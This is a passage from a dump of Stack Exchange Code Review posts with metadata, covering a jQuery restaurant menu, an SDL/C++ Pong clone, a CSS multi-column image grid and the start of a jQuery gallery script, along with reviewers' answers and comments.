</section>
</code></pre>
<p><strong>jQuery</strong></p>
<pre><code>$(window).smartresize(function () {
var $mmenu = $('.menu__main');
if ($mmenu.length > 0) {
var $mnav = $('.menu__nav'),
$mnav_a = $mnav.find('a'),
m = parseInt($mnav.outerHeight(true), 10),
$contain = $mmenu.closest('.menu-container'),
h = 0,
l = 0;
// check and store if .active element exists
var active = $mmenu.not(':first').is('.active');
// if it doesn't exists
if (!active) {
$mmenu.hide() // hide all
.removeClass('active') // remove the active class from any that have it
.first() // select the first only
.addClass('active') // give it the active class
.show(); // and show it
$mnav_a.eq(0).addClass('active');
$mmenu.each(function(z) {
var $this = $(this);
$this.css('height','auto');
$this.css({
zIndex: z+1,
position: 'absolute',
top: m + "px",
left: l,
height: (parseInt($this.outerHeight(false), 10) + m) + "px"
});
l = l - $this.outerWidth();
});
$contain.height($mmenu.eq(0).height());
} else {
$mmenu.each(function(z) {
var $this = $(this);
$this.css('height','auto');
$this.css({
zIndex: z+1,
position: 'absolute',
top: m + "px",
height: (parseInt($this.outerHeight(false), 10) + m) + "px"
});
});
var $new_contain = $('.menu__main.active').height();
$contain.height($new_contain);
}
$mnav_a.on('click', function(e) {
e.preventDefault();
var $this = $(this);
if (!$this.hasClass('active')) {
$mmenu.stop(true, true);
$mnav_a.removeClass('active');
$this.addClass('active');
$mmenu.filter($('.active'))
.removeClass('active')
.fadeOut(250)
.animate({left:l+"px"}, 250);
var $target = $mmenu.filter($this.attr('href'));
$contain.animate({height:$target.height()}, 250);
$target.addClass('active')
.fadeIn(250)
.animate({left:0}, 250);
}
$this.blur();
});
}
});
</code></pre>
<p><strong>Working Example</strong></p>
<p><a href="http://codepen.io/samholguin/pen/snqgA" rel="nofollow noreferrer">CodePen</a></p>
| [] | [
{
"body": "<p>Some of your code is redundant. These two lines are mutually exclusive. Especially since you add \"active\" to the first menu item, which is the only one which would satisfy !active.</p>\n\n<pre><code> if (!active) {\n .removeClass('active') // remove the active class from any that have it\n</code></pre>\n\n<p>Makes me wonder if the \"if (!active)\" branch can be removed entirely. </p>\n\n<p>Revised CodePen: <a href=\"http://codepen.io/anon/pen/FHfAi\" rel=\"nofollow\">http://codepen.io/anon/pen/FHfAi</a></p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-15T12:54:29.847",
"Id": "82742",
"Score": "0",
"body": "Nice cleanup, +1"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-22T08:28:55.203",
"Id": "83889",
"Score": "0",
"body": "Thank you for the help, mutually exclusive code is something I haven't considered before. In terms of the `if (!active) {}` block, this is in place to fix an issue I had when a menu other than the first was selected and the screen was resized"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-22T11:12:11.703",
"Id": "83903",
"Score": "1",
"body": "@SamHolguin I noticed that when I was working on the revised CodePen. By the way, I love the way your menu works. Nice job."
}
],
"meta_data": {
"CommentCount": "3",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-15T12:14:08.203",
"Id": "47226",
"ParentId": "47220",
"Score": "3"
}
}
] | {
"AcceptedAnswerId": "47226",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-15T11:01:22.343",
"Id": "47220",
"Score": "5",
"Tags": [
"javascript",
"performance",
"beginner",
"jquery",
"html"
],
"Title": "Responsive jQuery restaurant menu system"
} | 47220 |
<p>This is my first time writing a game in C++/SDL and I decided to post the code here so you can tell me what I am doing wrong.</p>
<p><strong>main.cpp</strong></p>
<pre><code>#include <SDL.h>
#include "Game.h"
int screenWidth = 640;
int screenHeight = 480;
const char* title = "Pong Clone";
Game game;
int main(int argc, char* args[])
{
game.init(title, SDL_WINDOWPOS_CENTERED, SDL_WINDOWPOS_CENTERED, screenWidth, screenHeight, false);
while (game.running())
{
game.eventHandler();
game.render();
}
return 0;
}
</code></pre>
<p><strong>Game.h</strong></p>
<pre><code>#ifndef GAME_H
#define GAME_H
#include <SDL.h>
#include <iostream>
#include <string>
#include "GameObject.h"
class Game
{
public:
bool init(const char* title, int xPos, int yPos, int width, int height, bool flags);
void eventHandler();
void render();
void clean();
void collision();
void reset();
bool running() { return m_Running; }
private:
SDL_Window* window;
SDL_Renderer* renderer;
int screenWidth;
int screenHeight;
int xSpeed, ySpeed;
bool m_Running;
GameObject* paddle;
GameObject* ball;
};
#endif
</code></pre>
<p><strong>Game.cpp</strong></p>
<pre><code>#include "Game.h"
#include <stdlib.h>
#include <time.h>
//player speed
int playerVelocity = 0;
int playerSpeed = 15;
bool Game::init(const char* title, int xPos, int yPos, int width, int height, bool flags)
{
// screen and renderer initialization
screenWidth = width;
screenHeight = height;
window = SDL_CreateWindow(title, xPos, yPos, screenWidth, screenHeight, flags);
if (window == nullptr)
{
std::cout << "SDL_CreateWindow Error: " << SDL_GetError() << std::endl;
}
renderer = SDL_CreateRenderer(window, -1, SDL_RENDERER_ACCELERATED | SDL_RENDERER_PRESENTVSYNC);
if (renderer == nullptr)
{
std::cout << "SDL_CreateRenderer Error: " << SDL_GetError() << std::endl;
}
SDL_SetRenderDrawColor(renderer, 0, 0, 0, 255);
//game objects
ball = new GameObject();
paddle = new GameObject();
//image load
ball->load("Assets/ball.png", "ball", renderer);
paddle->load("Assets/paddle.png", "paddle", renderer);
//starting speed and directions
xSpeed = rand() % 8 + 5;
ySpeed = rand() % 8 + 5;
reset();
m_Running = true;
return true;
}
void Game::reset()
{
// center screen position
ball->setPosition((screenWidth - (ball->getW() / 2)) / 2, (screenHeight - (ball->getH() / 2)) / 2);
}
void Game::eventHandler()
{
// ball speed
ball->setX(ball->getX() + xSpeed);
ball->setY(ball->getY() - ySpeed);
// game loop
SDL_Event event;
if (SDL_PollEvent(&event))
{
switch(event.type)
{
case SDL_QUIT:
{
m_Running = false;
break;
}
case SDL_KEYDOWN:
{
switch( event.key.keysym.sym )
{
case SDLK_UP:
{
playerVelocity = -playerSpeed;
break;
}
case SDLK_DOWN:
{
playerVelocity = playerSpeed;
break;
}
default:
break;
}
break;
}
case SDL_KEYUP:
{
switch( event.key.keysym.sym )
{
case SDLK_UP:
{
if (playerVelocity < 0)
playerVelocity = 0;
break;
}
case SDLK_DOWN:
{
if (playerVelocity > 0)
playerVelocity = 0;
break;
}
default:
break;
}
break;
}
default:
break;
}
}
paddle->setY(paddle->getY() + playerVelocity);
collision();
}
void Game::render()
{
// render game objects
SDL_RenderClear(renderer);
ball->draw(renderer, "ball", ball->getX(), ball->getY());
paddle->draw(renderer, "paddle", paddle->getX(), paddle->getY());
SDL_RenderPresent(renderer);
}
void Game::collision()
{
// top collision
if (ball->getY() < 0)
{
ySpeed = -ySpeed;
}
// paddle collision
else if (ball->getX() <= paddle->getX() + paddle->getW() &&
(ball->getY() >= paddle->getY() && ball->getY() <= paddle->getY() + paddle->getH()))
{
xSpeed = -xSpeed;
}
// bottom collision
else if (ball->getY() >= (screenHeight - ball->getH()))
{
ySpeed = -ySpeed;
}
// player collision
else if (ball->getX() >= (screenWidth - ball->getW()))
{
xSpeed = -xSpeed;
}
// reset ball location
else if (ball->getX() < 0)
{
xSpeed = rand() % 8 + 5;
ySpeed = rand() % 8 + 5;
reset();
}
}
</code></pre>
<p><strong>GameObject.h</strong></p>
<pre><code>#ifndef GAMEOBJECT_H
#define GAMEOBJECT_H
#include <SDL.h>
#include <SDL_image.h>
#include <string>
#include <iostream>
class GameObject
{
public:
bool load(std::string filename, std::string id, SDL_Renderer* renderer);
void draw(SDL_Renderer* renderer, std::string id, int x, int y);
void setX(int x);
void setY(int y);
int getX();
int getY();
int getW();
int getH();
void setPosition(int x, int y);
private:
SDL_Renderer* renderer;
SDL_Surface* tempImage;
SDL_Texture* texture;
SDL_Rect srcRect;
SDL_Rect dstRect;
};
#endif
</code></pre>
<p><strong>GameObject.cpp</strong></p>
<pre><code>#include "GameObject.h"
bool GameObject::load(std::string filename, std::string id, SDL_Renderer* renderer)
{
// image load manager
tempImage = IMG_Load(filename.c_str());
texture = SDL_CreateTextureFromSurface(renderer, tempImage);
SDL_FreeSurface(tempImage);
SDL_QueryTexture(texture, NULL, NULL, &srcRect.w, &srcRect.h);
dstRect.w = srcRect.w;
dstRect.h = srcRect.h;
return true;
}
void GameObject::draw(SDL_Renderer* renderer, std::string id, int x, int y)
{
// image draw
dstRect.x = x;
dstRect.y = y;
SDL_RenderCopy(renderer, texture, &srcRect, &dstRect);
}
void GameObject::setX(int x)
{
dstRect.x = x;
}
void GameObject::setY(int y)
{
dstRect.y = y;
}
int GameObject::getX()
{
return dstRect.x;
}
int GameObject::getY()
{
return dstRect.y;
}
int GameObject::getW()
{
return dstRect.w;
}
int GameObject::getH()
{
return dstRect.h;
}
void GameObject::setPosition(int x, int y)
{
dstRect.x = x;
dstRect.y = y;
}
</code></pre>
<p>I'm still working on AI/2<sup>nd</sup> player and score.</p>
<p>My main problem right now is: how do I correctly randomize the starting direction of the ball? How can I increase the ball speed after each bounce?</p>
| [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-15T19:54:40.660",
"Id": "82820",
"Score": "0",
"body": "I should note that the last two questions are off-topic as we don't assist in adding additional functionality. For such questions, consult Stack Overflow."
}
] | [
{
"body": "<p>This is just a quick partial review. I can't comment on the SDL parts because I know very little about SDL.</p>\n\n<p><em>main.cpp</em></p>\n\n<p>Avoid global mutable state. All of the variables shown below could be made local.</p>\n\n<pre><code>int screenWidth = 640;\nint screenHeight = 480;\nconst char* title = \"Pong Clone\";\n\nGame game;\n</code></pre>\n\n<p>If for some reason, you want them in a global area, at least make them constants. Since these are in a <em>.cpp</em> file and not a <em>.h</em>, you can mark them to be <code>static</code>. This gives them <a href=\"https://stackoverflow.com/questions/1358400/what-is-external-linkage-and-internal-linkage-in-c\">internal linkage</a>, which basically keeps them 'private' to the file. Of course, if you want to <code>extern</code> them, then do not do this.</p>\n\n<pre><code>static const int SCREEN_WIDTH = 640;\nstatic const int SCREEN_HEIGHT = 480;\nstatic const char* TITLE = \"Pong Clone\";\n</code></pre>\n\n<p>An alternative to static global variables, is putting them into an <a href=\"https://stackoverflow.com/questions/154469/unnamed-anonymous-namespaces-vs-static-functions\">unnamed namespace</a>.</p>\n\n<pre><code>namespace {\n const int SCREEN_WIDTH = 640;\n const int SCREEN_HEIGHT = 480;\n const char* TITLE = \"Pong Clone\";\n}\n</code></pre>\n\n<p>If you ever need to put these values into a header file, I would place them into a class or named-namespace. If you do the former (put them in a class), it's okay to make them static. If you do the latter (put them in a named-namespace), do not make them static or else every <a href=\"https://stackoverflow.com/questions/1106149/what-is-a-translation-unit-in-c\">translation unit</a> will have its own private copy of the variable. </p>\n\n<p><em>Game.h</em></p>\n\n<p>Remove <code>#include <iostream></code> and <code>#include <string></code>. This particular header file doesn't use them at all.</p>\n\n<p>Two-step initialization is old-fashioned (though admittingly still used). Your <code>init()</code> function could be turned into a constructor instead.</p>\n\n<pre><code>Game (const char* title, int xPos, int yPos, int width, int height, bool flags);\n</code></pre>\n\n<p>The <code>const char* title</code> should also be changed to <code>const std::string &title</code>, but I'll talk about that later.</p>\n\n<p>I'm not seeing any reason why the objects below are pointers.</p>\n\n<pre><code>GameObject* paddle;\nGameObject* ball;\n</code></pre>\n\n<p>Save yourself the headache of pointless memory management in this case and just make them objects.</p>\n\n<pre><code>GameObject paddle;\nGameObject ball;\n</code></pre>\n\n<p><em>Game.cpp</em></p>\n\n<p>Let's go back to my previous point of using <code>std::string</code> instead of <code>char*</code>.</p>\n\n<pre><code>bool Game::init(const char* title,//...\n// ... More code\nwindow = SDL_CreateWindow(title,//...\n</code></pre>\n\n<p>Since you are not checking to see if <code>title</code> is <code>nullptr</code>, it would be better to use <code>const std::string &title</code> instead.</p>\n\n<p>If you choose to keep <code>init()</code> instead of creating a constructor, then I'm guessing these two if-statements should return <code>false</code>.</p>\n\n<pre><code>window = SDL_CreateWindow(title, xPos, yPos, screenWidth, screenHeight, flags);\nif (window == nullptr)\n{\n std::cout << \"SDL_CreateWindow Error: \" << SDL_GetError() << std::endl;\n return false; // probably?\n}\n\nrenderer = SDL_CreateRenderer(window, -1, SDL_RENDERER_ACCELERATED | SDL_RENDERER_PRESENTVSYNC);\nif (renderer == nullptr)\n{\n std::cout << \"SDL_CreateRenderer Error: \" << SDL_GetError() << std::endl;\n return false; // probably?\n}\n</code></pre>\n\n<p>Checking error codes is also somewhat old fashioned. I would recommend throwing exceptions instead.</p>\n\n<p>I see that you are using <code>rand()</code> right here.</p>\n\n<pre><code>//starting speed and directions\nxSpeed = rand() % 8 + 5;\nySpeed = rand() % 8 + 5;\n</code></pre>\n\n<p>I do not see you using <a href=\"http://www.cplusplus.com/reference/cstdlib/srand/\" rel=\"nofollow noreferrer\">srand()</a> anywhere though. Without <code>srand()</code>, your random number generator seed will always be the same and you will always get the same results.</p>\n\n<p>Even better, since you are using C++11, I would recommend using functions from the new <a href=\"http://www.cplusplus.com/reference/random/\" rel=\"nofollow noreferrer\"><code><random</code>> header</a>. Since you are looking for a random number in the range [5,12], here is a rough example:</p>\n\n<pre><code>// Be sure to #include <chrono>\nauto seed = std::chrono::system_clock::now ().time_since_epoch ().count () ;\n\n// Be sure to #include <random> \ntypedef std::default_random_engine::result_type seed_type ;\nstd::default_random_engine generator (static_cast <seed_type> (seed)) ;\nstd::uniform_int_distribution <int> distribution (5, 12) ;\n\nxSpeed = distribution (generator) ;\nySpeed = distribution (generator) ;\n</code></pre>\n\n<p>You would probably want to create the <code>std::default_random_engine</code> only once though, or else you'll be constantly reseeding it.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-15T18:08:32.297",
"Id": "82799",
"Score": "2",
"body": "`Avoid global variables.`. The real saying is `Avoid global mutable state.` The important part is **mutable**. If the values are constant for the duration of the application then it is not an issue."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-15T18:13:41.293",
"Id": "82801",
"Score": "0",
"body": "`old-fashioned` is being generous."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-15T19:57:54.227",
"Id": "82821",
"Score": "1",
"body": "Since you're going the C++11 route, you should mention `<random>` and discontinued use of `rand()`."
}
],
"meta_data": {
"CommentCount": "3",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-15T17:56:49.727",
"Id": "47266",
"ParentId": "47221",
"Score": "4"
}
},
{
"body": "<p>Please keep your indentation consistent. You are correctly indenting within many curly brace blocks, but not all of them. You should especially indent all code within functions, <code>class</code>es, and <code>struct</code>s, so that any indented code blocks within the function can be distinguished. It also makes it harder to line up the curly braces. One example of this inconsistency is in <code>main()</code>. If two or more closing braces are lined up vertically, that's a good indication that something is not correctly indented. </p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-15T20:17:13.577",
"Id": "47285",
"ParentId": "47221",
"Score": "2"
}
},
{
"body": "<p>General comments:</p>\n\n<ul>\n<li>You have inconsistent indentation. The statements in the outermost block scope in the functions in GameObject.cpp are indented four spaces, while everywhere else they're not indented at all. The declarations in the <code>private</code> section of GameObject.h are indented, but the <code>public</code> section isn't.</li>\n</ul>\n\n<p>File <strong>main.cpp</strong>:</p>\n\n<ul>\n<li><p>You're not using the arguments to <code>main()</code>, so you could use the alternative form that doesn't declare them:</p>\n\n<pre><code>int main()\n</code></pre></li>\n<li><p>The function <code>Game::init()</code> returns a <code>bool</code> (it always returns <code>true</code>, but presumably it's intended to indicate success or failure), but you're not checking the return value here. However, I'd go even more C++ and use a constructor for Game and use exceptions to indicate an error during construction.</p></li>\n<li><p>I don't see a reason for having the <code>Game</code> object defined outside of <code>main()</code>; I'd make it a local variable within your main function.</p></li>\n</ul>\n\n<p>File <strong>Game.h</strong>:</p>\n\n<ul>\n<li><p>The member function <code>running()</code> doesn't modify the instance in any way, so you should add a <code>const</code> specifier to it:</p>\n\n<pre><code>bool running() const { return m_Running; }\n</code></pre></li>\n</ul>\n\n<p>File <strong>Game.cpp</strong>:</p>\n\n<ul>\n<li><p>You have two global variables, <code>playerSpeed</code> and <code>playerVelocity</code>. Since they're used exclusively within the <code>Game</code> class' methods, they should be members of the class. <code>playerSpeed</code> is never changed, so it should be declared as a <code>const int</code>. Also consider different names, since the words \"speed\" and \"velocity\" are very close to being synonyms; perhaps <code>maximumSpeed</code> and <code>actualSpeed</code> respectively?</p></li>\n<li><p>Consider adding a constructor for the Game class, instead of having a separate <code>init()</code> method that initializes all the class-level variables. The compiler will generate a constructor for you if you don't provide one, but that means that you get default initialization of all the member variables, followed by re-initialization when you call the <code>init()</code> method. If you switch to using a constructor, you should probably also look into using exceptions to report errors to the constructor.</p></li>\n<li><p>In <code>Game::init()</code> you have this code:</p>\n\n<pre><code>window = SDL_CreateWindow(title, xPos, yPos, screenWidth, screenHeight, flags); \nif (window == nullptr)\n{\n std::cout << \"SDL_CreateWindow Error: \" << SDL_GetError() << std::endl;\n}\n\nrenderer = SDL_CreateRenderer(window, -1, SDL_RENDERER_ACCELERATED | SDL_RENDERER_PRESENTVSYNC);\nif (renderer == nullptr)\n{\n std::cout << \"SDL_CreateRenderer Error: \" << SDL_GetError() << std::endl;\n}\nSDL_SetRenderDrawColor(renderer, 0, 0, 0, 255);\n</code></pre>\n\n<ol>\n<li>By convention, errors should go to <code>std::cerr</code>; normal output should go to <code>std::cout</code>.</li>\n<li>Even though you check if the <code>SDL_CreateWindow</code> call fails, you still go on to use the returned value in the <code>renderer = ...</code> line. Same for the call to <code>SDL_CreateRenderer</code>, where you use the value in the <code>SDL_SetRenderDrawColor</code> color. I'm not familiar with SDL so I don't know if it will handle <code>nullptr</code> argument values gracefully, but this looks suspicious.</li>\n</ol></li>\n<li><p>You're using <code>nullptr</code>, so you must be using C++11. You're using <code>new</code> to allocate a couple of instances of your <code>GameObject</code> class; in C++11, the recommendation is to use <code>std::unique_ptr</code> to manage instances of raw pointers. So you would have:</p>\n\n<pre><code>// In Game.h:\nstd::unique_ptr<GameObject> ball; \n// In Game.cpp\nball = std::unique_ptr<GameObject>(new GameObject());\n</code></pre>\n\n<p>The <code>unique_ptr</code> will automatically call <code>delete</code> the objects they manage when the containing class is destroyed. If you don't want to use <code>unique_ptr</code>, you need to define a destructor for the Game class and delete the GameObject objects there:</p>\n\n<pre><code>Game::~Game()\n{\n delete ball;\n delete paddle;\n}\n</code></pre></li>\n<li><p>In <code>Game::event_handler()</code>, you have code like:</p>\n\n<pre><code>// ball speed\nball->setX(ball->getX() + xSpeed);\nball->setY(ball->getY() - ySpeed);\n</code></pre>\n\n<p>Consider changing <code>GameObject</code>'s interface to <code>updateX()</code> and <code>updateY()</code> that takes just the offset, and let the <code>GameObject</code> class worry about the details of changing its X- or Y-coordinates.</p></li>\n</ul>\n\n<p>File <strong>GameObject.h</strong>:</p>\n\n<ul>\n<li><p>Member functions <code>GameObject::SetX()</code>, <code>SetY()</code>, <code>GetX()</code>, <code>GetY()</code>, <code>GetW()</code>, <code>GetH()</code> are all one-liner functions. For simple setters and getters like these, it's often better to define them in the header file so that (a) you don't have to look for them in two places, and (b) the compiler can inline them wherever they're used, meaning that instead of making a function call, it can simply insert the function's code directly at the point of use.</p></li>\n<li><p>The getters should be declared <code>const</code> (like <code>Game::running()</code> above):</p>\n\n<pre><code>class GameObject \n{\n // ...code elided...\n int GetX() const { return dstRect.x; }\n // ...remaining getters...\n};\n</code></pre></li>\n</ul>\n\n<p>File <strong>GameObject.cpp</strong>:</p>\n\n<ul>\n<li><p>Consider adding a constructor for GameObject instead of having a separate <code>load()</code> method; see the equivalent comment for Game.cpp above for the reason why.</p></li>\n<li><p>In function <code>GameObject::load()</code>, the variable <code>tempImage</code> is used. It is declared at class scope, but it doesn't seem to be used outside of this function. If that's true, you could move the declaration into this function, keeping it closer to its use. It also means that you don't have a class-level variable that isn't valid outside of the one function where it's used.</p></li>\n<li><p>The same applies for the class-level <code>srcRect</code> which is only used in this function. You also initialize <code>srcRect</code> in the call to <code>SDL_QueryTexture()</code>, then copy the values into <code>dstRect</code> immediately afterwards; could you use <code>dstRect</code> in the call, thus eliminating the need for <code>srcRect</code>?</p></li>\n<li><p>Functions <code>GameObject::load()</code> and <code>GameObject::draw()</code> take an <code>id</code> argument that they never use.</p></li>\n<li><p>Move all the setters and getters into the header file, as mentioned above.</p></li>\n</ul>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-15T20:25:20.813",
"Id": "47287",
"ParentId": "47221",
"Score": "3"
}
}
] | {
"AcceptedAnswerId": null,
"CommentCount": "1",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-15T11:08:56.173",
"Id": "47221",
"Score": "6",
"Tags": [
"c++",
"game",
"sdl"
],
"Title": "SDL/C++ Pong clone"
} | 47221 |
<p>I have been researching and experimenting with HTML5 and CSS3. I was aiming to create a very simple but efficient tiled gallery / grids. So some sort of grid system that I can layout anything inside.</p>
<p>Below is what I have created, what are your opinions? I also have a question, why the distributing of the images change from browser to another? Is there a way to control it?</p>
<p>Here is a working <a href="http://jsfiddle.net/6C2Jb/" rel="nofollow">Fiddle</a>.</p>
<p><strong>HTML:</strong></p>
<pre><code><div class="grids">
<div class="gridElement">
<img alt="image" src="assets/images/image.jpg">
</div>
<div class="gridElement">
<img alt="image" src="assets/images/image.jpg">
</div>
<div class="gridElement">
<img alt="image" src="assets/images/image.jpg">
</div>
<div class="gridElement">
<img alt="image" src="assets/images/image.jpg">
</div>
<div class="gridElement">
<img alt="image" src="assets/images/image.jpg">
</div>
<div class="gridElement">
<img alt="image" src="assets/images/image.jpg">
</div>
</div>
CSS:
/*Grids System*/
.grids {
width: 100%;
overflow: hidden;
-webkit-column-count: 3;
-moz-column-count: 3;
column-count: 3;
-webkit-column-gap: 10px;
-moz-column-gap: 10px;
column-gap: 10px;
}
.grids.twoGrids {
-webkit-column-count: 2;
-moz-column-count: 2;
column-count: 2;
}
.grids.fourGrids {
-webkit-column-count: 4;
-moz-column-count: 4;
column-count: 4;
}
.grids .gridElement {
margin-bottom: 10px;
overflow: hidden;
-webkit-backface-visibility: hidden;
-moz-backface-visibility: hidden;
-ms-backface-visibility: hidden;
}
.grids .gridElement:last-child {
margin-bottom: 0;
}
.grids .gridElement img {
min-width: 100%;
}
</code></pre>
| [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-15T18:18:08.663",
"Id": "82803",
"Score": "0",
"body": "Have you looked at bootstrap? http://getbootstrap.com/"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-17T12:54:54.213",
"Id": "83154",
"Score": "0",
"body": "@LokiAstari You do understand this is \"Code Review\", right? I wouldn't recommend anything that couldn't pass a Code Review, and Bootstrap can't."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-17T16:29:01.393",
"Id": "83217",
"Score": "0",
"body": "@cimmanon: Coding is knowing when to reinvent the wheel and when to use an existing wheel. Bootstrap is a well known / well tested / hardened wheel (lots of eyeballs have looked at it). If you can use it then prefer to use it over something you wrote yourself."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-17T16:36:23.853",
"Id": "83222",
"Score": "0",
"body": "@LokiAstari Lots of people eat at McDonald's, too, that doesn't mean it is good. Bootstrap is the McDonald's of the CSS world. It can get the job done, but I would rather go almost anywhere else if given a choice."
}
] | [
{
"body": "<p>Very impressive! I forgot that this tech existed. Anyways, <a href=\"http://jsbin.com/yugujaji/1/\" rel=\"nofollow\">off to review</a>:</p>\n\n<h1>Prefixes and Indentations</h1>\n\n<p><code>column-count</code> will be bound to prefixes for quite a while, since <a href=\"http://caniuse.com/multicolumn\" rel=\"nofollow\">only a few browsers like IE (amazing!) support it</a>. So when it comes to prefixes, the most common formatting style is a cascaded indentation. Makes it more readable.</p>\n\n<pre><code>-webkit-column-count: 3;\n -moz-column-count: 3;\n column-count: 3;\n</code></pre>\n\n<h1>Usable Dimensions</h1>\n\n<p>Ok, it's neat that the layout can flex fluidly, but is it still usable past a given dimension? Like say below 480px? It would most likely break the innards of the cells in the column. Same goes for large screens. Do you think 3 column layout still looks good on a 1920x1024 screen? With all the things very spacey and images zoomed out?</p>\n\n<p>I suggest placing a <code>min-width</code> for the <code>.grid</code>. <code>480px</code> should be the least, since most 4in mobile phones are at least 480px wide when on portrait. As for maximum, it's your call. You can set a hard maximum around 1024px to 1440px or adjust the columns as you go bigger, like say go 4 columns beyond 1440px. You can use media queries for this one.</p>\n\n<h1>Tweaks</h1>\n\n<p>Here are some more tweaks:</p>\n\n<h3>Target the images</h3>\n\n<pre><code>.grids .gridElement img{\n min-width : 100%\n}\n</code></pre>\n\n<p>This would set <em>all</em> descendant images to 100% width. This will break a lot of images under a grid element. You can target them specifically so that only they will be affected. You can also isolate them in <code><div></code> to further denote that they are not part of the content but in a heading, like pinterest.</p>\n\n<pre><code><div class=\"gridElement\">\n <div class=\"post\">\n <img alt=\"image\" src=\"http://www.csctradeshow.com/images/female.png\">\n </div>\n <div class=\"stuff\">\n <!-- pin buttons, like buttons, comments etc -->\n </div>\n</div>\n\n.grids > .gridElement > .post > img {\n width: 100%;\n}\n</code></pre>\n\n<h3>Skip the <code>.gridElement</code></h3>\n\n<p>You can skip <code>.gridElement</code> and use <code>div</code> instead. We all know the only children of <code>.grid</code> is the elements of the grid. Saves you a few characters on the HTML side.</p>\n\n<pre><code><div class=\"grid\">\n <div>\n <div class=\"post\">\n <img alt=\"image\" src=\"http://www.csctradeshow.com/images/female.png\">\n </div>\n </div>\n ...\n</div>\n\n.grids > div > .post > img {\n width: 100%;\n}\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-17T12:42:16.163",
"Id": "83153",
"Score": "1",
"body": "I don't think that nitpicking on indentation is useful, especially in a time where CSS Preprocessors are increasing in popularity. Switching from class to descendant/child selectors is a purely stylistic change and tends to terrify most people (zomg, descendant/child selectors are slow! never use them!). While I do not agree with this irrational fear, the suggested changes don't really add anything. Furthermore, adding min-width to .grid does nothing but force scrolling on smaller-than-expected devices with no real upside."
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-15T18:30:39.193",
"Id": "47270",
"ParentId": "47222",
"Score": "1"
}
},
{
"body": "<p>There are a few good reasons why no one uses the multi-column module for \"grids\".</p>\n\n<h1>They are rigid</h1>\n\n<p>There are only 2 options for the column-span property: none or all. Want to have elements spanning 2 columns? Too bad. Also, last time I checked, Mozilla does not support the column-span property.</p>\n\n<h1>They are unpredictable</h1>\n\n<p>Each browser has its own algorithm for determining how to generate the columns. If you read the specification, <code>column-count</code> is not a guarantee that you will get the specified number of columns:</p>\n\n<blockquote>\n <p>describes the <strong>optimal number of columns</strong> into which the content of the element will be flowed. Values must be greater than 0. If both ‘column-width’ and ‘column-count’ have non-auto values, the integer value describes the maximum number of columns.</p>\n</blockquote>\n\n<p>From: <a href=\"http://www.w3.org/TR/css3-multicol/#column-count\" rel=\"nofollow\">http://www.w3.org/TR/css3-multicol/#column-count</a></p>\n\n<p>The emphasis is mine: in an ideal situation, you'll get the exact number of columns you've specified. If the browser's algorithm decides that there's not enough room for that many, it will give you less.</p>\n\n<h1>Controlling where breaking occurs is a nuisance</h1>\n\n<p>Since you're using images for testing, you're not seeing the problem. Using columns on a parent container doesn't just control how the children flow, but all descendant elements. What this means is that your gridElement will frequently span multiple columns in an effort to equalize the height of the columns. You can specify where breakage occurs (or shouldn't occur) on the descendant elements like so:</p>\n\n<pre><code>.foo {\n -webkit-column-break-inside: avoid; /* Deprecated property name for Webkit (Blink too?) */\n page-break-inside: avoid; /* Non-standard property name for Mozilla */\n break-inside: avoid;\n}\n</code></pre>\n\n<p><a href=\"http://codepen.io/cimmanon/pen/CcGlE\" rel=\"nofollow\">http://codepen.io/cimmanon/pen/CcGlE</a></p>\n\n<h1>TL;DR</h1>\n\n<p>This system is designed with text in mind, not grids. I predict that if you were to pursue this further, you'll end up being dissatisfied due to the limitations of the module as it is currently specified. If you're just planning to use this with images, my last point above does not apply.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-17T12:35:16.843",
"Id": "47470",
"ParentId": "47222",
"Score": "3"
}
}
] | {
"AcceptedAnswerId": null,
"CommentCount": "4",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-15T11:22:46.820",
"Id": "47222",
"Score": "6",
"Tags": [
"performance",
"html",
"css",
"html5"
],
"Title": "Simple grid system made out of CSS columns"
} | 47222 |
<p>I have made a gallery function, this function handles three different types of gallery, one with horizontal nav, other vertical and last one vertical with no nav.</p>
<pre><code>function vid() {
var vid = $(".videoBg"),
btn = $(".wVid"),
wrap = $(".home");
$(wrap).css({
"margin-top": "220px"
});
$(vid).addClass('active');
$(btn).on("click", function() {
var vidH = $(vid).height();
if ($(vid).hasClass('active')) {
$(wrap).css({
"margin-top": vidH - 25 + "px"
});
$(this).css({
"top": vidH - 100 + "px",
"background-position": "top center"
});
$(this).text("Close");
$(vid).removeClass('active');
} else {
$(wrap).css({
"margin-top": "220px"
});
$(this).css({
"top": "100px",
"background-position": "bottom center"
});
$(this).text("Watch Video");
$(vid).addClass('active');
}
return false;
});
}
function showHide() {
var btn = $(".postComment button");
var popUp = $(".postComment .comForm.pForm");
var popUpT = $(".postComment .comForm.thanks");
var close = $(".postComment .comForm .cls");
var submt = $(".postComment .comForm button");
$(popUp).hide();
$(popUpT).hide();
$(btn).on("click", function() {
$(popUp).show();
